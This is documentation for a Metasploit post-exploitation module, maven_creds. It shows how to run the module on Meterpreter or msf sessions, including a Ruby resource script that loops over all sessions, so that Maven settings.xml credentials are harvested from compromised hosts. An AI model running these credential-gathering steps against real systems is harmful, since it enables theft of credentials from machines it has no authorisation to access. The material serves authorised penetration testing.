Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/gather/maven_creds

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/gather/maven_creds
msf post(maven_creds) > show options
    ... show and set options ...
msf post(maven_creds) > set SESSION session-id
msf post(maven_creds) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/gather/maven_creds")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Vulnerable Application

Maven a software project management. This module seeks all settings.xml (Maven configuration file) on the target file system to extract credentials from them. Credentials are store in the <server> tag ; the module also tries to cross the identifier found with the <mirror> or <repository> tag in order to find the full realm the credentials belong to.

This module was successfully tested against:

  • Ubuntu 14.04 and Maven 3.0.5 with shell and meterpreter as session type
  • Debian 9 and Maven 3.0.5 with shell and meterpreter as session type

Verification Steps

  1. Get a shell or meterpreter session on some host.
  2. Do: use post/multi/gather/maven_creds
  3. Do: set SESSION [SESSION_ID]
  4. Do: run
  5. If the system has readable configuration files (settings.xml) containing username and passwords, they will be printed out.

Scenarios
